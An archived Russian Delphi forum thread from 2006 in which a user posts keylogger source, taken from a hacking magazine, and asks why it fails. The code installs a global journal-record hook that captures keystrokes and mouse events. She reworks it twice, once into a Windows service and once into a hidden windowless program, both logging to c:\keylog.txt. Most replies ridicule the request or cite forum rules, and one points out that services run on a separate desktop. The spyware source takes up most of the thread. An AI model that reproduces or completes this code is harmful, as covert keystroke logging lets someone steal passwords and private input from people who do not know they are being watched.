Текущий архив: 2006.10.15;
Скачать: CL | DM;

Вниз

Шпион   Найти похожие ветки 

← →
S@sha   (2006-09-21 19:35) [0]

Вычитала из Хакера, как написать свой шпион без всяких библиотек, мне понравилось:

uses
  ..AppEvnts;

type
  TForm1 = class(TForm)
   Memo1: TMemo;
   procedure FormDestroy(Sender: TObject);
   procedure FormCreate(Sender: TObject);
   procedure OnAppMessage(var Msg: TMsg; var Handled: Boolean);
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

var
HookHandle : THandle = INVALID_HANDLE_VALUE;

function HookProc(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall;
var
EventMsg : PEventMsg;      // Указатель EventMsg
VirtCode : byte;           // Виртуальный код
ScanCode : dword;          // Скан-код
KeyState : TKeyboardState; // Состояние клавиатуры
Tmp, S : string;           // Временные переменные
Res      : integer;
begin
  s := "";
  if nCode = HC_ACTION then  begin
    EventMsg := pointer(LParam);
    case EventMsg^.message of
     WM_LBUTTONDOWN : S := "нажата левая кнопка мыши";
     WM_RBUTTONDOWN : S := "нажата правая кнопка мыши";
     WM_LBUTTONUP   : S := "отпущена левая кнопка мыши";
     WM_RBUTTONUP   : S := "отпущена правая кнопка мыши";
     WM_MOUSEMOVE   : S := "перемещение мыши"+
                           " (X="+IntToStr(EventMsg^.paramL) +
                           ", Y=" + IntToStr(EventMsg^.paramH)+")";
     WM_KEYDOWN     : begin
                        // Выделение виртуального кода и скан-кода
                        VirtCode := EventMsg^.paramL and $FF;
                        ScanCode := (EventMsg^.paramL and $FF00) shl 8;
                        // Выделение буфера для строки
                        SetLength(Tmp, 32);
                        // Получение имени по коду, Res - длина возвращенной строки
                        Res := GetKeyNameText(ScanCode,
                                               @Tmp[1], Length(Tmp));
                        S := "Нажата клавиша ""+copy(Tmp, 1, Res)+""";
                        // Опрос состояния клавиатуры
                        GetKeyboardState(KeyState);
                        // Получение символа по кодам
                        Res := ToAscii(VirtCode, ScanCode, KeyState, @Tmp[1], 0);
                        if Res > 0 then
                         S := S + " символ = ""+copy(Tmp, 1, Res)+""";
                      end;
     else
      S := "message с кодом "+IntToHex(EventMsg^.message, 4);
    end;
    Form1.Memo1.Lines.Add(s);
  end;
  Result := CallNextHookEx(HookHandle, nCode, wParam, LParam);
end;

function InstallHook : boolean;
begin
if HookHandle = INVALID_HANDLE_VALUE then
 HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, hInstance, 0);
Result := HookHandle <> INVALID_HANDLE_VALUE;
end;

function RemoveHook : boolean;
begin
if HookHandle <> INVALID_HANDLE_VALUE then
 UnhookWindowsHookEx(HookHandle);
HookHandle := INVALID_HANDLE_VALUE;
Result := true;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
RemoveHook;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.OnMessage := OnAppMessage;
InstallHook;
end;

procedure TForm1.OnAppMessage(var Msg: TMsg; var Handled: Boolean);
begin
if (Msg.message = WM_CANCELJOURNAL) and (HookHandle <> INVALID_HANDLE_VALUE) then begin
 HookHandle := INVALID_HANDLE_VALUE;
 InstallHook;
 Memo1.Lines.Add("<< Выполнена переустановка ловушки >>");
 Handled := true;
end;
end;

end.


я решила сделать это сервисом, т.е. переписать все в сервисе и чтобы сохранялось все в текстовом файле:


uses
 ..AppEvnts;

type
 TService1 = class(TService)
   procedure ServiceCreate(Sender: TObject);
   procedure ServiceDestroy(Sender: TObject);
   procedure ServiceStart(Sender: TService; var Started: Boolean);
   procedure ServiceStop(Sender: TService; var Stopped: Boolean);
 private
   procedure WMCancelJournal(var Message: TMessage); message WM_CANCELJOURNAL;
 public
   function GetServiceController: TServiceController; override;
 end;

var
 Service1: TService1;

implementation

{$R *.DFM}

var
 LogFile: TextFile;
 HookHandle : THandle = INVALID_HANDLE_VALUE;

procedure ServiceController(CtrlCode: DWord); stdcall;
begin
 Service1.Controller(CtrlCode);
end;

function TService1.GetServiceController: TServiceController;
begin
 Result := ServiceController;
end;

function HookProc(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall;
var
EventMsg : PEventMsg;
VirtCode : byte;
ScanCode : dword;
KeyState : TKeyboardState;
Tmp, S : string;
Res      : integer;
begin
  s := "";
  if nCode = HC_ACTION then  begin
    EventMsg := pointer(LParam);
    case EventMsg^.message of
     WM_LBUTTONDOWN : begin
                        S := "Нажата левая кнопка мыши";
                        WriteLn(LogFile, S);
                        Flush(LogFile);
                      end;
     WM_KEYDOWN     : begin
                        VirtCode := EventMsg^.paramL and $FF;
                        ScanCode := (EventMsg^.paramL and $FF00) shl 8;
                        SetLength(Tmp, 32);
                        Res := GetKeyNameText(ScanCode, @Tmp[1], Length(Tmp));
                        S := "Нажата клавиша ""+copy(Tmp, 1, Res)+""";
                        GetKeyboardState(KeyState);
                        Res := ToAscii(VirtCode, ScanCode, KeyState, @Tmp[1], 0);
                        if Res > 0 then
                         S := S + " символ = ""+copy(Tmp, 1, Res)+""";
                        WriteLn(LogFile, S);
                        Flush(LogFile);
                      end;
    end;
  end;
  Result := CallNextHookEx(HookHandle, nCode, wParam, LParam);
end;

function InstallHook : boolean;
begin
 if HookHandle = INVALID_HANDLE_VALUE then
   HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, hInstance, 0);
 Result := HookHandle <> INVALID_HANDLE_VALUE;
end;

function RemoveHook : boolean;
begin
 if HookHandle <> INVALID_HANDLE_VALUE then
   UnhookWindowsHookEx(HookHandle);
 HookHandle := INVALID_HANDLE_VALUE;
 Result := true;
end;

procedure TService1.WMCancelJournal(var Message: TMessage);
begin
 if HookHandle <> INVALID_HANDLE_VALUE then
   begin
     HookHandle := INVALID_HANDLE_VALUE;
     InstallHook;
     WriteLn(LogFile, "<< Выполнена переустановка ловушки >>");
   end;
end;

procedure TService1.ServiceStart(Sender: TService; var Started: Boolean);
begin
 AssignFile(LogFile, "c:\keylog.txt");
 if FileExists("c:\keylog.txt") then
   Append(LogFile)
 else
   Rewrite(LogFile);
 InstallHook;
end;

procedure TService1.ServiceStop(Sender: TService; var Stopped: Boolean);
begin
 RemoveHook;
 CloseFile(LogFile);
end;

end.


Т.к. события в сервисе Application.OnMessage я не нашла, решила сделать сообщением WM_CANCELJOURNAL. Но так почему-то не работает...((( Пробовала делать инициализацию хука в ServiceCreate, то там он почему-то зацикливается чтоли... а в ServiceStart все хорошо, но в обоих случаях записи в текстовый файл не происходит...((( Мастера, подскажите пожалуйста в чем проблема?

---

← →
Ketmar ©   (2006-09-21 19:39) [1]

проблема в полном непонимании сути хуков и сервисов. не надо из сервиса хуки ставить. %-)

---

← →
Virgo_Style ©   (2006-09-21 19:40) [2]

см. здесь, п. 6 во втором подразделе
http://www.delphimaster.ru/forums.shtml#rule

---

← →
S@sha   (2006-09-21 19:47) [3]

Virgo_Style, Так это же не вредоносный код... Темболее сейчас шпионы продаются совершенно легально... Так что все по закону...)))

Ketmar, а чем сервис не программа? Первый пример именно в программе хуки работают...

---

← →
Ketmar ©   (2006-09-21 19:50) [4]

сервис, конечно, программа. но особенная. сильно советую покурить какую-нибудь документацию. хоть обзорную.

---

← →
Leonid Troyanovsky ©   (2006-09-21 19:52) [5]

> Ketmar ©   (21.09.06 19:39) [1]
> Virgo_Style ©   (21.09.06 19:40) [2]


Резимюруя:
1. Не надо читать журнал Х.
2. Не надо экстраполировать (в область неизведанного).
3. Не надо поднимать скользких темы анонимно.

--
Regards, LVT.

PS: Sorry, у меня нынче склонность к обобщениям.

---

← →
Ketmar ©   (2006-09-21 19:54) [6]

>[5] Leonid Troyanovsky(c) 06-09-21 19:52
>1. Не надо читать журнал Х.
особенно перед обедом. %-)

---

← →
Leonid Troyanovsky ©   (2006-09-21 19:55) [7]

> Leonid Troyanovsky ©   (21.09.06 19:52) [5]

> Резимюруя:


Sorry^2

--
Regards, LVT.

---

← →
Leonid Troyanovsky ©   (2006-09-21 19:59) [8]

> Ketmar ©   (21.09.06 19:54) [6]

> >1. Не надо читать журнал Х.
> особенно перед обедом. %-)


:)

Я б, собс-но, и после не рекомендовал.
Бо, портит душевный настрой-с.

--
Regards, LVT.

---

← →
S@sha   (2006-09-21 19:59) [9]

На сколько я поняла, что в сервисах ловушки не работают? Я пробовала и в программе без окна сделать что-то похожее:

Форму убрала из авто-создания...

program Internat32;

uses
 Forms,
 Windows,
 Unit1 in "Unit1.pas" {Form1};

{$R *.res}

var
WhEvent: THandle;

begin
 Application.Initialize;
 ShowWindow(Application.Handle, SW_HIDE);
 Form1 := TForm1.Create(nil);
 Application.Run;
end.

unit Unit1;

interface

uses
 Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
 Dialogs, AppEvnts;

type
 TForm1 = class(TForm)
   procedure FormCreate(Sender: TObject);
   procedure FormDestroy(Sender: TObject);
   procedure OnAppMessage(var Msg: TMsg; var Handled: Boolean);
 end;

var
 Form1: TForm1;

implementation

{$R *.dfm}

var
 LogFile: TextFile;
 HookHandle : THandle = INVALID_HANDLE_VALUE;

function HookProc(nCode: integer; WParam: Word; LParam: LongInt): Longint; stdcall;
var
 EventMsg : PEventMsg;
 VirtCode : byte;
 ScanCode : dword;
 KeyState : TKeyboardState;
 Tmp, S : string;
 Res      : integer;
begin
 s := "";
 if nCode = HC_ACTION then
   begin
     EventMsg := pointer(LParam);
     if EventMsg^.message = WM_KEYDOWN then
       begin
         VirtCode := EventMsg^.paramL and $FF;
         ScanCode := (EventMsg^.paramL and $FF00) shl 8;
         SetLength(Tmp, 32);
         Res := GetKeyNameText(ScanCode, @Tmp[1], Length(Tmp));
         S := "Нажата клавиша ""+copy(Tmp, 1, Res)+""";
         GetKeyboardState(KeyState);
         Res := ToAscii(VirtCode, ScanCode, KeyState, @Tmp[1], 0);
         if Res > 0 then
           S := S + " символ = ""+copy(Tmp, 1, Res)+""";
         WriteLn(LogFile, S);
         Flush(LogFile);
       end;
   end;
 Result := CallNextHookEx(HookHandle, nCode, wParam, LParam);
end;

function InstallHook: boolean;
begin
 if HookHandle = INVALID_HANDLE_VALUE then
   HookHandle := SetWindowsHookEx(WH_JOURNALRECORD, @HookProc, hInstance, 0);
 Result := HookHandle <> INVALID_HANDLE_VALUE;
end;

function RemoveHook: boolean;
begin
 if HookHandle <> INVALID_HANDLE_VALUE then
   UnhookWindowsHookEx(HookHandle);
 HookHandle := INVALID_HANDLE_VALUE;
 Result := true;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
 Application.OnMessage := OnAppMessage;

 AssignFile(LogFile, "c:\keylog.txt");
 if FileExists("c:\keylog.txt") then
   Append(LogFile)
 else
   Rewrite(LogFile);

 InstallHook;
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
 RemoveHook;
 CloseFile(LogFile);
end;

procedure TForm1.OnAppMessage(var Msg: TMsg; var Handled: Boolean);
begin
 if (Msg.message = WM_CANCELJOURNAL) and (HookHandle <> INVALID_HANDLE_VALUE) then
   begin
     HookHandle := INVALID_HANDLE_VALUE;
     InstallHook;
     WriteLn(LogFile, "<< Выполнена переустановка ловушки >>");
     Handled := true;
   end;
end;

end.


Тоже самое, не работает...(((

---

← →
Leonid Troyanovsky ©   (2006-09-21 20:04) [10]

> S@sha   (21.09.06 19:59) [9]

> На сколько я поняла, что в сервисах ловушки не работают?


Отнюдь. Т.е., легко убедиться путем анализа GetLastError.

Только, в этом не вся правда. Как, впрочем, и в остальном.

--
Regards, LVT.

---

← →
S@sha   (2006-09-21 21:00) [11]

Скажите пожалуйста почему и программа не ловит хуки? (((

---

← →
Ketmar ©   (2006-09-21 21:03) [12]

>[11] S@sha 21-Sep-XLI A.S., 21:00
>Скажите пожалуйста почему и программа не ловит
>хуки? (((
потому что кое-кто не дружит с мануалами.

---

← →
Leonid Troyanovsky ©   (2006-09-21 21:12) [13]

> S@sha   (21.09.06 21:00) [11]

> Скажите пожалуйста почему и программа не ловит хуки? (((


http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dllproc/base/desktops.asp

--
Regards, LVT.

---

← →
Eraser ©   (2006-09-21 22:15) [14]

> [1] Ketmar ©   (21.09.06 19:39)
> проблема в полном непонимании сути хуков и сервисов. не
> надо из сервиса хуки ставить. %-)

ну почему же? вполне можно, только надо учесть такой механизм как fast user switching и выставить вручную соответстующие права в CreateFileMapping и MapViewOfFile.

---

← →
Leonid Troyanovsky ©   (2006-09-21 22:23) [15]

> Eraser ©   (21.09.06 22:15) [14]

> как fast user switching и выставить вручную соответстующие
> права в CreateFileMapping


А причем здесь CreateFileMapping?
Это, можно сказать, всего лишь возможные детали реализации.

В корне проблемы то, что у сервиса - свой десктоп,
о чем бы неплохо б было даже RTFM.

--
Regards, LVT.

---

← →
Орион ©   (2006-09-22 00:11) [16]

ой-йе. Сожги все номера Хакера, а пепел развей по ветру.

---

← →
Eraser ©   (2006-09-22 01:09) [17]

> [15] Leonid Troyanovsky ©   (21.09.06 22:23)


> В корне проблемы то, что у сервиса - свой десктоп,

упс.. просто проект, над которым сейчас работаю - интерактивый сервис, вот этот момент и не учел :) (не пинать - там по-другому нельзя, вернее можно, но с доп. накладными расходами, в висте прийдется отказаться от работы в режиме интеракт. сервиса).

---

← →
Elen ©   (2006-09-22 08:18) [18]

> Вычитала из Хакера, как написать свой шпион без всяких библиотек

Чем же библиотики так помешали?

---

← →
Ketmar ©   (2006-09-22 08:24) [19]

>[18] Elen(c) 22-Sep-XLI A.S., 08:18
>Чем же библиотики так помешали?
некошерно, наверное.

---

← →
Орион ©   (2006-09-22 08:48) [20]

> [18] Elen ©   (22.09.06 08:18)

А это что бы размер шпиЁна был еще меньше, что бы хватило места на код для инжекции икноки в область часов %))

---

← →
Ketmar ©   (2006-09-22 08:49) [21]

>[20] Орион(c) 22-Sep-XLI A.S., 08:48
>хватило места на код для инжекции икноки в
>область часов %))
запомни, это называется "запуздырить".

---

← →
Орион ©   (2006-09-22 09:00) [22]

> [21] Ketmar ©   (22.09.06 08:49)

Наслышан, наслышан)
Но запуздыривало предидущее поколение... %)

---

← →
Орион ©   (2006-09-22 09:00) [23]

ЗЫ Хотя все в этом мире циклично...

---

← →
Ketmar ©   (2006-09-22 09:02) [24]

>[22] Орион(c) 22-Sep-XLI A.S., 09:00
>Наслышан, наслышан)
>Но запуздыривало предидущее поколение... %)
так традиции, однако... надо передавать.

---

← →
S@sha   (2006-09-22 09:36) [25]

Я так и не поняла почему такая программа не ловит хуки...(((

---

← →
Ketmar ©   (2006-09-22 09:37) [26]

>[25] S@sha 22-Sep-XLI A.S., 09:36
>Я так и не поняла почему такая программа не ловит
>хуки...(((
метла -- в ближайшем магазине хозтоваров.

---

← →
Palladin ©   (2006-09-22 09:44) [27]

> Ketmar ©   (22.09.06 09:37) [26]

слушай :) тыб давно уже с производителями метел договорился... а то рекламируешь задаром... столько денег потерял уже... :)

---

← →
Ketmar ©   (2006-09-22 09:48) [28]

>[27] Palladin(c) 22-Sep-XLI A.S., 09:44
>слушай :) тыб давно уже с производителями метел
>договорился... а то рекламируешь задаром...
>столько денег потерял уже... :)
я токмо из любви к чистоте...

---

← →
Elen   (2006-09-22 10:24) [29]

> Я так и не поняла почему такая программа не ловит хуки...(((

А ты просто интересуешся или тебе ЧаВо написать задумано?

---

← →
Ketmar ©   (2006-09-22 10:25) [30]

>[29] Elen 22-Sep-XLI A.S., 10:24
> А ты просто интересуешся или тебе ЧаВо написать
>задумано?
видимо, кроме хацкера ничего больше не читают по религиозно-мистическим причинам.

---

← →
Elen   (2006-09-22 10:26) [31]

> S@sha

Вдогонку - не все виды хуков можно описать без ДЛЛ (помоему даже большую их часть).

---

← →
Elen   (2006-09-22 10:28) [32]

> Ketmar

Что эт ты, дядя Ketmar, редигией погонять начал? :-). Никак уверовал во что-енто?

---

← →
Ketmar ©   (2006-09-22 10:30) [33]

>[32] Elen 22-Sep-XLI A.S., 10:28
>Что эт ты, дядя Ketmar, редигией погонять начал?
>:-). Никак уверовал во что-енто?
в то, что ошибки DNA неизлечимы. проверено личным опытом.

---

← →
Elen   (2006-09-22 10:33) [34]

> Elen

Ничего. Вот помыкается Автор со своим вопросиком и даст бог поймет что не лишне порулить мануалы. Т.К. сам автор не знает ответ на вопрос - "А что же я хочу получить?". И благородным Мастерам как раз и нужно натолкнуть его(ее) на путь истинный-Правильно Вопросительный

---

← →
Ketmar ©   (2006-09-22 10:34) [35]

>[34] Elen 22-Sep-XLI A.S., 10:33
>же я хочу получить?". И благородным Мастерам как
>раз и нужно натолкнуть его(ее) на путь
>истинный-Правильно Вопросительный
неа. достаточно просто довести до магазина хозтоваров.

---

← →
Игорь Шевченко ©   (2006-09-22 11:02) [36]

Ketmar ©   (22.09.06 10:34) [35]

Сноб :)

автору: Мне только одно пока непонятно - а нафига шпионы делать ? Может, лучше за это время окончить архитектурный институт или изобрести самодвижущееся пресс-папье ? Всяко обществу пользы больше будет.

---

← →
S@sha   (2006-09-22 18:58) [37]

Просто хочу потренероваться и интересно... что здесь такого...

---

← →
Furyz ©   (2006-09-22 22:47) [38]

> Просто хочу потренероваться и интересно... что здесь такого...

чему учит журнал Хакер - хакерство из озорства

---

Страницы: 1 вся ветка

Текущий архив: 2006.10.15;
Скачать: CL | DM;

Наверх

Память: 0.58 MB
Время: 0.036 c